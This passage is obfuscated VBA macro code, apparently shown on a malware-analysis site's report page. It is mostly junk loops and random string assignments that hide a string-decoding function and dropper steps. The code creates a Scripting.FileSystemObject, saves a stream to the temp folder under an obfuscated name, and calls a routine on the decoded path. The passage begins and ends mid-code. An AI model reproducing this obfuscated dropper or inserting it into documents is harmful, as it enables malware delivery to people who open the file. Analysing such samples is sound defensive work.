        jbGMsS = 1375 + 1388 + 1260
        gMyVhFu = 811 - 789 - 465
        XPIYLM = XPIYLM + 2
    Wend

    jbGMsS = 1038 + 907 + 269
    EimFrCSk = 883 + 794 + 1102
    PzlQi = Right("neZFZnbEfzcFH", 4)
        Dim EIIXuFK As Object
    PzlQi = Left("xt[Cojk&mE%)@@", 5)
    fxQlfiIw = "OM zkeQqrSC" + "X&a$rYYiv(@eG[KJe" + "zOjDPbKC B]V AZhn%"
    jLlSzKDJ = RTrim("F?@km@TPZhSK-Vm!gw")
    mIXwITZl = Right("Ts-yZdrEDJeJ", 2)
    KxNmNXz = UCase("zkncXKON@*")
    HtbZGj = "b&]Xl^ALgcZ)SOFMA&aA" + "yybZLs#g.iP" + "^CZE)^iSx)OnwXxqbR("
        Set EIIXuFK = CreateObject(caNjHLf("sEcbriiypGtZi)nVgr.afli^lyePsaylshtleymNopb@j#e!c#tb"))
    HtbZGj = "]nDtqWTL*X" + "r_gtMuM&@B-fPJ" + "]wbGT HwYHI?itdBiV[U"
    HtbZGj = 1532 + 1260 + 194
    fxQlfiIw = RTrim("&RMFvuwRkU#OWK")
    For ArGEAA = 0 To 349
        HtbZGj = 1399 - 1652 - 1677
        PzlQi = 1629 - 1414 - 1936
        jbGMsS = StrReverse("Yk$yDiyylEe[$#UT")
        Ehhjuc = Space(20)
        KxNmNXz = Right("Be#tIBbGx&L#&AS", 3)
    Next ArGEAA

    For TBqMsp = 0 To 107
        qqvweO = LTrim("TXxp&)r^y*q-A")
        HtbZGj = Space(9)
        gMyVhFu = "*%jA#@ztPjvY" + "zYY]DfSJs!G)Baz-H.(U" + "Dz.#sc$bgwz"
        EimFrCSk = RTrim("FyOpTWUUI&u?HbJ*ITp")
        HtbZGj = LTrim("ge_uen!QB!")
    Next TBqMsp

        ZprZPFS = EIIXuFK.GetSpecialFolder(5 - 3)
    jLlSzKDJ = UCase("MC#v]yNHUdgzME")
    For xXYmMm = 0 To 299
        gMyVhFu = Space(3)
        gMyVhFu = 1218 - 1582 - 283
        KxNmNXz = RTrim("Aa[QvXStnOpV[T")
        jbGMsS = LTrim("]Sl?^TDtIHi#@fPhwGkQ")
        fxQlfiIw = Space(15)
    Next xXYmMm

    mIXwITZl = 957 - 1500 - 1588
    While UMSbba < 71
        HtbZGj = UCase("xjfpt[&.PkP[V)fHGo")
        KxNmNXz = LTrim("vyiR)OBo[ai@$Y*d%%Tl")
        gMyVhFu = Space(11)
        UMSbba = UMSbba + 1
    Wend

    KxNmNXz = "crlV?p@pFMZeohtYO" + "%A &?yya?qggGrD" + "RZChNDN%J%%GS"
    While xzJqLS < 53
        KxNmNXz = LTrim("Fvj&uLi C^NCvkH_yWa")
        jbGMsS = "IO(gy.wICao!!iWwNol " + "V]QLJip_EMS(qf" + "#di^Tr*DJDKEO&"
        fxQlfiIw = 461 - 1885 - 705
        KxNmNXz = Left("$qjt^_m%kB[Ov", 4)
        qqvweO = Space(5)
        KxNmNXz = Space(17)
        mIXwITZl = StrReverse("m[xFPXRlpdhez")
        xzJqLS = xzJqLS + 1
    Wend

        Call ZpuTS.SaveToFile(ZprZPFS & "\\" & caNjHLf("B@XxY)CxX(HD.&eqxLeV"), 2)
    While vIbQLN < 186
        gMyVhFu = RTrim("wc qgRYN[AU)b[F")
        jbGMsS = LTrim("uv.cuBx(mf]snN-[ wXW")
        fxQlfiIw = Left("kQ_TKv]Sya Y", 3)
        gMyVhFu = Left("hdl(QUd*sm", 2)
        HtbZGj = Left("vp^yK!_GHiG[*", 5)
        gMyVhFu = Space(7)
        vIbQLN = vIbQLN + 3
    Wend

    fxQlfiIw = LTrim("jec#OrRDhNj)j")
    qqvweO = Left("U#zbi*WH_#lCo", 4)
    While NRSGTY < 205
        jbGMsS = 1627 - 1977 - 381
        jbGMsS = LTrim("D]&w#T^z $KHEd_u! B")
        mIXwITZl = 1537 + 1518 + 1987
        qqvweO = Right("Q-a#Ln(h!K^iKuoBVv", 3)
        gMyVhFu = 1883 + 1618 + 276
        HtbZGj = "QhVZN?^lsV)C%IQMYxMJ" + "eZLpUS^qLE^Rh-PUw" + "#lbVUDwQzpdh&iCb*lPO"
        EimFrCSk = Space(9)
        NRSGTY = NRSGTY + 1
    Wend

    HtbZGj = Space(20)
    EimFrCSk = "ifd(*X)fg.m.la_&" + "?%(#zWCmHMEkx!wY" + "pwY-_$YVjSt!^OvTct "
        ZpuTS.Close
    KxNmNXz = Left("sQL^oERVx]__VF", 5)
    jbGMsS = Right("-&JdnhMymvbSh_mmyP#", 5)
    qqvweO = 544 - 1181 - 804
    jLlSzKDJ = Space(6)
    End If
    EimFrCSk = 621 + 432 + 422
    KxNmNXz = StrReverse("PEwJPK]a&NHdGp")
    Ehhjuc = Left("$bty-@ME]w&ZcjYwD", 2)
    gMyVhFu = "-$-.AI%Jsb" + "@q#mUHjwJabR" + "ZIvTQSBtW][KSse"

    fxQlfiIw = UCase("Zfv*hrBX?Gyu_DrQr(")
    While XOYUDK < 82
        mIXwITZl = RTrim("$h#oxRdFPgOALQdg")
        qqvweO = 603 + 1193 + 1372
        gMyVhFu = Left("AjLL-CiJVcG&T negZ", 5)
        HtbZGj = "B(gV-DUAsNf-aweS" + ".ACGi*LMjnT?d-" + "JSbnPc!$gKA^A"
        gMyVhFu = "(YXmq@@aThtQvs" + "rjClzX_cRPzD%" + "f#b[qt][eHQpW"
        mIXwITZl = StrReverse("sUBTs_go)CF.$bKX(s")
        XOYUDK = XOYUDK + 3
    Wend

    HtbZGj = UCase("!pUcFaBmFpOo-TKLNqux")
    mIXwITZl = UCase("zbqIwWVrlFvKN")

    While GVWqeO < 361
        For VAhQhw = 0 To 38
            KxNmNXz = StrReverse("rj-jIH%*y#k")
            qqvweO = 146 - 304 - 1773
            HtbZGj = 1683 - 817 - 289
        Next VAhQhw

        Ehhjuc = LTrim("Ru#mH*kY%.^cb")
        jbGMsS = UCase("OvsWB&OYLi#TaxMP")
        KxNmNXz = 1084 - 1194 - 694
        KxNmNXz = LTrim("dOu%h*lq**%SH")
        Ehhjuc = StrReverse("c*Tvv?Dhd*&H(qJbGof")
        jLlSzKDJ = Left("ApJrae-K@&(PBP$)Dl", 2)
        PzlQi = 337 - 947 - 960
        If GVWqeO = 301 Then
            Call CcuDCOr(YJZVdMat & "\\" & caNjHLf(ZWEcwPVQ), "NCRJTu", "NppDLJh", "oMEBtBCSR", "SEnAvuSNLP")
            PzlQi = RTrim("YQzQLcb)Gq")
            jLlSzKDJ = RTrim("PPezMY*AMiUsXdi")
            gMyVhFu = RTrim(")UV@$cYm(E")
            For ggJTfb = 0 To 205
                fxQlfiIw = Space(11)
                KxNmNXz = "#c.STmmpM_Np?M-$o" + "rewC K(%fKm.nZ" + "PjEU-**.(sHNaUj&E.*"
                jbGMsS = 1248 - 1214 - 236
                jLlSzKDJ = LTrim("Q_tnw[glbukFGns^ -j")
                jLlSzKDJ = LTrim("POHenPGg.JpEdK")
            Next ggJTfb

            jLlSzKDJ = Right("Q( pdeahTz&n", 4)
            PzlQi = 237 + 600 + 511
        End If
        gMyVhFu = "tFpIhxZANnF" + "ESf@Lr_spV?oPJj" + "QNF^QPL[ud--L&jb._s"
        qqvweO = 569 - 1777 - 194
        fxQlfiIw = 672 + 110 + 958
        KxNmNXz = 1831 + 704 + 813
        While YpYtXX < 89
            qqvweO = LTrim("eR[#VJlHP)LM$ &")
            jLlSzKDJ = Space(3)
            PzlQi = "]qc.hk&Vq)zYPk!cd[&" + "@iG_p[xEa]cZuZ)wn" + "HawcAiDklVB.pS!"
            KxNmNXz = Left("I&$NHCPfJw  ", 5)
            YpYtXX = YpYtXX + 3
        Wend

        Ehhjuc = Space(11)

    GVWqeO = GVWqeO + 1
    Wend
    Ehhjuc = Space(19)
    While ihhAhu < 313
        jbGMsS = Left("-VIUJ(F#w[-", 3)
        fxQlfiIw = 1055 + 989 + 1566
        HtbZGj = RTrim("?Tz%QJ^%]dB")
        gMyVhFu = StrReverse("b BlT!#f?C)TRO")
        PzlQi = 793 - 1727 - 539
        jbGMsS = Right("mH]cSHCfK #l", 5)
        jbGMsS = RTrim("j]OKIs%paU-.kz")
        HtbZGj = UCase("!m&l#jJS%t]t!")
        qqvweO = Space(11)
        ihhAhu = ihhAhu + 3
    Wend

    Ehhjuc = Right("Kcr[scrr?Ma l!", 4)
    For pBXBSj = 0 To 382
        mIXwITZl = 222 + 1298 + 669
        Ehhjuc = "?iNTzBKmuU#xx%&pndNn" + "RUHl-IwpJ#kRAQ)y" + "(clNWq&VaJFnj-wi-*"
        KxNmNXz = Right("uJ*plqCQtC%GGHDb&", 2)
        HtbZGj = Space(16)
        gMyVhFu = StrReverse("fXiFENIovFWZ")
        gMyVhFu = LTrim("ko?n_Zm)^phi.^$e^CI")
        qqvweO = "ty*AvU@iAS" + "Fy_YAW-kbHIAd)" + "j Ju(F HD)QI"
    Next pBXBSj

    For gwxiux = 0 To 314
        jbGMsS = StrReverse("TNMI!FUjr%(f")
        gMyVhFu = Right("frxgjUS#FNq", 3)
        PzlQi = 653 - 247 - 1523
        mIXwITZl = Left("R-[nekPeXJn!Yg$", 4)
        jbGMsS = Left("LxY%#AXMOo*aK*c*", 3)
        Ehhjuc = Left("F JI@hfbfXmAfJMeFzv^", 5)
        Ehhjuc = 1600 - 1251 - 1098
    Next gwxiux

    KxNmNXz = RTrim("Jj^c@hVlccJr")
    While JqmagK < 141
        mIXwITZl = 319 - 1216 - 407
        PzlQi = RTrim("H[_l-uJK]adXBt")
        HtbZGj = StrReverse("R_@NM%PG[ZhW$h")
        JqmagK = JqmagK + 2
    Wend

    While rDTjAb < 360
        EimFrCSk = "tpTD]kabGW" + "YP_GIMwG^cbvy^s#BNi" + " MvH]NeJ[T]bK"
        Ehhjuc = RTrim("JHz-*umvHff!")
        jLlSzKDJ = StrReverse(")j# KO^s&wSJ")
        HtbZGj = LTrim("iuIHaLOLv^@wz?E")
        gMyVhFu = RTrim(")GWj^FXy#)@VF*#p")
        rDTjAb = rDTjAb + 1
    Wend

    qqvweO = Right("Tc][v-#$(vno?raG!", 4)
    While DQIwRV < 65
        KxNmNXz = StrReverse(".CTYmqdjcnp[jOZGJPbs")
        HtbZGj = Right("!$ofkKD)_Pw(V", 4)
        PzlQi = Left("I_ycWp&RNf^hA?G?", 3)
        KxNmNXz = RTrim("(ohBbq^O&!WV&_hJTH")
        gMyVhFu = StrReverse("b((TELcaFx!o[oR)_")
        Ehhjuc = LTrim("[dJmvGaa^HulSA%s")
        mIXwITZl = LTrim("$dJpcm#bfa[SrZ")
        EimFrCSk = 1755 - 1737 - 1651
        jbGMsS = RTrim("LEzO[zgiTzhw@&q")
        DQIwRV = DQIwRV + 1
    Wend

    EimFrCSk = 253 - 1086 - 1511

End Sub

Private Sub cmBAtk(PYgcAq As Integer, vLaJmJj As Boolean, uWyXdb As Boolean)
    jbGMsS = RTrim("u(.@H@Re&r")
    KxNmNXz = LTrim("JvgerRsLsnVKT?iX)_")
    mIXwITZl = 1299 + 1651 + 962
    Ehhjuc = RTrim("raE@nOVg?MM%l^")
    Ehhjuc = LTrim("yiXSjTs H%aS?")
    jLlSzKDJ = LTrim("hUmX_hoX#Tzp")
    gMyVhFu = UCase("u%hnWo!iG%qqH*D!")
    For TbTAjT = 0 To 100
        gMyVhFu = 653 - 660 - 1859
        jbGMsS = Left("!rXuiDwaMt", 5)
        mIXwITZl = 1097 - 1382 - 1596
        jbGMsS = Space(6)
        jLlSzKDJ = 1975 + 118 + 1078
        qqvweO = UCase("!Rb)-trFLXOrMt")
        gMyVhFu = UCase("mMDoZM%NPI*TNIAA")
    Next TbTAjT

    fxQlfiIw = RTrim("dY#DWzEdSaqBNdrWRxK")
    qqvweO = LTrim("Gy?Nbo&ZoTU!zExe")
    EimFrCSk = 884 + 1093 + 1111
    While qkHVoj < 167
        KxNmNXz = Space(10)
        Ehhjuc = RTrim("xYGbz_-^ Wy&?vLVnNL")
        qqvweO = Left("@YADe[O^Pls(CaFvV", 2)
        Ehhjuc = 1574 - 1771 - 1131
        jLlSzKDJ = 179 - 384 - 390
        jLlSzKDJ = LTrim("E$uw#eguS^^w]x%L")
        jLlSzKDJ = LTrim("p@vTE*jRGbo!_bY")
        jbGMsS = UCase("T[DiU#z$!TeKKCkW")
        jLlSzKDJ = 804 + 1179 + 411
        HtbZGj = Left("_^rRbKqBAg", 5)
        qkHVoj = qkHVoj + 2
    Wend

    fxQlfiIw = "NJm#kaTq&Nme]ljU" + "CU??yOKcxE" + "[ &I^*mG(Ga"
    mIXwITZl = UCase("#OT_tpOZcjRvi")
    While JVooUL < 212
        Ehhjuc = "Pic]_DhZfdOquTUHa_h" + "Jcmy(N#TsacI-&" + "jhNe&VO@uQ_((J("
        KxNmNXz = "l]BKzTrT&g(EKR" + "gjUxtJ^!.k@vb!&MtgL" + "gy-vg_pgEbIhS_"
        Ehhjuc = StrReverse("BYy[Zpi^Oj^XnoQ!U#H")
        jbGMsS = LTrim("xuaFk.olbKBU")
        JVooUL = JVooUL + 1
    Wend

    HtbZGj = LTrim("aGAON*x-nTEJ")
    HtbZGj = RTrim("nHI)SkIuHl-fTk")
    fxQlfiIw = UCase("eXPj[NzysbjCm")
    PzlQi = 1727 + 1315 + 1059
    mIXwITZl = Space(1)
    qqvweO = 1775 - 726 - 1171
    fxQlfiIw = Left("HVmWE^IHpk)rTjaPNeP", 4)
    gMyVhFu = 1687 + 435 + 133
    gMyVhFu = StrReverse("X]q $PsQLLeyEZ#")
    HtbZGj = "yj?fLF%!HOtZ)*X" + "w&]p@Rymo.P].RMe.W#" + "TiAOD()xVTg]^hhyny"
    EimFrCSk = Right("l!VIDoeNCWAOgaf", 4)
End Sub

Private Function ZQuMIq(ntCJmgb As Integer, mKHftx As Integer, rrHGiFM As Boolean, FRtBOFJ As Integer) As String
    fxQlfiIw = Right("_NTCDTaB?shQOXqfzhR]", 2)
    HtbZGj = Space(3)
    jbGMsS = 1112 - 616 - 1322
    EimFrCSk = Left("?JE-^H*)b[A$E$.dxq.", 5)
    KxNmNXz = StrReverse("[])%Hub%qsp#S)C)!qw")
    HtbZGj = 1284 + 1119 + 1708
    PzlQi = StrReverse("G TmbXiYflYyneFsf")
    gMyVhFu = Right("cpKWmzQLXftdi)BGcIN", 3)
    mIXwITZl = RTrim("bG]yqSZTT.")
    KxNmNXz = LTrim("Uc)Q)J!rvejLH")
    While GxCiYS < 104
        fxQlfiIw = RTrim("$HsJ-YXj)_qe-MlhRIme")
        qqvweO = ")eQKppIJWF ZR*fJ&$" + "d%PN@*Ln[X]M$l!hqCAW" + "[j%ZpyhPuCtGMh"
        GxCiYS = GxCiYS + 2
    Wend

    Ehhjuc = 472 + 277 + 1880
    PzlQi = LTrim("yux^zi.uCmnb")
    qqvweO = UCase("eo]tE(sf?[[Yw")
    mIXwITZl = "Gg?XpDIvxjc&" + "RvEgE%%uShS#Ln" + "-ClpIpMG icXycuBf"
    jLlSzKDJ = 1638 + 1239 + 1776
    fxQlfiIw = 1513 - 1051 - 758
    PzlQi = 1981 - 1194 - 288
    HtbZGj = 568 - 974 - 1058
    qqvweO = RTrim("^oi.-XwrX R%ElS")
    jLlSzKDJ = Right("pcgFWqmd.!&Mq", 2)
    While EiLfQd < 292
        Ehhjuc = 750 + 1812 + 1505
        mIXwITZl = Right("TYiEHoB_&X]Xa", 3)
        Ehhjuc = RTrim("&W%KttM$zF_")
        PzlQi = Left("$auAjT(n?MJP_vj%zXQ^", 5)
        qqvweO = StrReverse("TF_A#)!Ku^ardVPjpW")
        EiLfQd = EiLfQd + 3
    Wend

    jbGMsS = RTrim("Aw*c#yxleNS@")
    mIXwITZl = UCase("jV_z MgqC_g")
    jLlSzKDJ = LTrim("u]ZTFR gGoCvhhcT")
    fxQlfiIw = StrReverse("BnytP-rnhX")
    jbGMsS = StrReverse("&LpAo*l*d&")
    HtbZGj = 1243 + 1476 + 467
    Ehhjuc = StrReverse(")oTzAaeeO@?Yl*)sIL")
    fxQlfiIw = "tS%ji^)RvuydUf" + "ih.&HaKSg-S" + "uqlfGN*EZ-tyIl?M#UKm"
    KxNmNXz = LTrim("VdsjV_!$&LyxX$")
    HtbZGj = LTrim("Nf!#zrhpRuXqkK#&Pxk")
    qqvweO = "o#SVZoF#lVIlH" + "@b%pFw*K%K(XLb " + "mhePx.NoyFf&QaHGw"
    Ehhjuc = StrReverse("RUF&l( Soy")
    jLlSzKDJ = UCase("CBh@ZO-QM#")
    qqvweO = UCase("Tp)T@IpM*^W(UXC")
    jbGMsS = 630 + 542 + 1531
    ZQuMIq = "AGSafmjKhkmiDXtVHjYIWiEYqdoeuKWqyyUug"
End Function

Private Function OixQOm(zwTAakb As Boolean, qqIRdN As String, MIZYYZ As String) As String
    qqvweO = LTrim("$Y-wy(paorEeS")
    gMyVhFu = "u.SX^z!qqU ]BB" + "h_F$KG$)D_" + ".Q?_IgbAHO%k"
    fxQlfiIw = Left("%J]N-?i*WsI^ [._au", 3)
    EimFrCSk = Right("UFYrhTBeu.URX ", 3)
    mIXwITZl = 305 + 1463 + 740
    For ApKDmm = 0 To 170
        qqvweO = LTrim(" c_n s*ocqxaGLf#M%EO")
        fxQlfiIw = "(?x&tr R%_" + "#(k.qWgSYH@k- DJd$" + "XoXQXCGtEnx"
        HtbZGj = RTrim("%?sGzj%Xu(cjy")
        jbGMsS = Right("WaXBl!nFMhpCqi", 4)
    Next ApKDmm

    Ehhjuc = Right("WNCKGrvr&s# ", 3)
    fxQlfiIw = Space(9)
    qqvweO = "v_l(S(.axt)gNJs(XPj" + ")LX@RBg!z?[p" + "(@QZT(HI ?iM(!X"
    Ehhjuc = 747 - 1079 - 1357
    PzlQi = Right("dVcIqvj$KTT m&&t", 5)
    EimFrCSk = LTrim("Q]I#l_iezvI]SyVDJX")
    HtbZGj = UCase("R$E]A &*sj sMT!qQmY")
    jbGMsS = Space(5)
    jbGMsS = Left("XR^.ASu[cjuL@", 4)
    gMyVhFu = Right("ccZWU$agXIn", 5)
    gMyVhFu = RTrim("^)m^ivvIA^")
    KxNmNXz = StrReverse("bvv^Z?LCmP_pZwbu")
    gMyVhFu = 964 + 701 + 1815
    While bkTvFu < 15
        qqvweO = StrReverse("XEBWaiBi^(t zU!s&QA")
        HtbZGj = 963 + 585 + 1270
        gMyVhFu = UCase("E.R[_(Gm.i*e*MHvK")
        PzlQi = "%@n^Ugay$j)_IfXY y" + "U*QBa)$qc f" + "XQyNKlaVdIJ"
        EimFrCSk = ".@RN%gSX*y" + "V!BedMeu$p" + "WRFgbr[Q&.XpkFFX^m"
        gMyVhFu = 744 + 275 + 1089
        bkTvFu = bkTvFu + 2
    Wend

    fxQlfiIw = UCase("FL ERcAVA)W%^")
    jbGMsS = StrReverse("#tqEXbALHYJ*kGv)")
    EimFrCSk = LTrim("Tnnmf)hyu.i(]-")
    Ehhjuc = Right("IDadu$pWM#%hEd", 4)
    KxNmNXz = RTrim("QN]kp[Cefed.lBa^CoW-")
    KxNmNXz = RTrim("NKGJ#IwuGbGUuBjDoTzb")
    OixQOm = "yLqeHVSugIyDckIqVDvugdzjpD"
End Function

Public Function caNjHLf(yoxgCjB As String) As String
fxQlfiIw = "DoJOpA$(Wnob!y" + "F&oflpfe^p" + "^(iswBJh.DmjqiaealY"
    Dim trPGoS() As Byte
    While RrEFAY < 55
        Ehhjuc = "rAgs$d -COXN^bjiPr" + "AOpqN Q@k!" + "eGfXaesIglYC"
        KxNmNXz = UCase("u)i?dBGScg#z.sBh")
        PzlQi = Left("UOSJG(Cp.U", 4)
        mIXwITZl = Left("JmcFJM@nnmHxW&", 3)
        qqvweO = Left("uyEhMN(IsAdsi)*j", 4)
        qqvweO = 821 + 1045 + 993
        qqvweO = Left("tGZJ?U]deQF*Chqug!", 2)
        qqvweO = StrReverse("VlRKdHpB-orfEX!")
        KxNmNXz = Right("vIX$P@nr_tjk.[(sdrvJ", 2)
        RrEFAY = RrEFAY + 1
    Wend
    fxQlfiIw = UCase("-L^WsK)zpC(wfg-rxvUb")
    EimFrCSk = LTrim("alP ?VTs k*qnd[#hS!O")
    qqvweO = Left("SbICnxUYsk", 2)
    Dim MNTBfZAg(1000) As Byte
    For YRktic = 0 To 150
        mIXwITZl = RTrim("dYCe)xv&F_[$")
        mIXwITZl = Right(")&vWKK%wGH", 3)
        jLlSzKDJ = Left("l$^H.oUpOBY", 4)
        PzlQi = 1130 + 154 + 710
        PzlQi = "gAo?#Fr  _PGIa]a" + "aTBv%G-VGQM)M^ &" + "C(%LhumlH&UBJQ-kH$K"
        qqvweO = 1427 - 1711 - 1199
        gMyVhFu = UCase("t]ss.srxHX.IB.K$n[Sh")
        EimFrCSk = 547 - 1875 - 1383
        KxNmNXz = UCase("ryioZEADGnoXnVL")
        Ehhjuc = 1904 - 1292 - 290
    Next YRktic
    qqvweO = UCase("DbOnFUs^Str")
    Ehhjuc = LTrim("hl.VKwQqas_MN^")
    gMyVhFu = Left("Pq#Tp&Xnycz", 4)
    ggjDqZ = 0
    jbGMsS = Right("gTrF_jLStKBepFgMEK", 2)
    mIXwITZl = Space(3)
    trPGoS = StrConv(yoxgCjB, vbFromUnicode)
    jbGMsS = LTrim("T*mThYQt[EBgNlUH_")
    jLlSzKDJ = StrReverse("W!Aj.f-NRn")
    jLlSzKDJ = "RY*l[Y?yKAlbNj.$VAi" + "AFp&CB-*sfL-kw" + "tS#M_@x*fn$Z"
    PzlQi = Right(".CgVUGxwn_ef%JqS$S", 4)
    KxNmNXz = StrReverse("lLXYMfdqN[YpaEXorq@@")
    For xaIxl = 0 To UBound(trPGoS) - 1
    EimFrCSk = 357 - 322 - 765
    While aqhoEM < 148
        mIXwITZl = LTrim("]O!NOv]HmW")
        PzlQi = UCase("s^C.Yelr%WoM")
        PzlQi = "[n]ZIZFWE.uY HsvP" + "P aVN&Nx&-A]Sh" + "gyl^SWYu_hJ^t"
        jbGMsS = "HTZcL$@%la@y#i?Lo.f" + "uFxRF UB#qPU^j)W" + "i[)Lm_#zw.-L-"
        EimFrCSk = Left("%$#OHzQiSTKLxI&oJ!B", 5)
        jbGMsS = RTrim("GATeQ^AmLm@hIJ")
        KxNmNXz = Right("$-ZWs@BEde jl rD^_g", 2)
        aqhoEM = aqhoEM + 3
    Wend
        If (xaIxl Mod 2 = 0) Then
        HtbZGj = UCase("(e]#nX[C)@")
        While JETyfD < 336
            jbGMsS = RTrim("iYIqm&ZS)MplnYrm[")
            KxNmNXz = Right("D_KkWk_&J_Q&XSR wv-Y", 4)
            HtbZGj = "H!rh!RhuNrc" + "GoSXj&jz*ndj" + "(EMOxiFMESMGXcUB!J)I"
            JETyfD = JETyfD + 3
        Wend
        mIXwITZl = Space(9)
…

Open this report in the interactive analyzer, or submit your own file for analysis.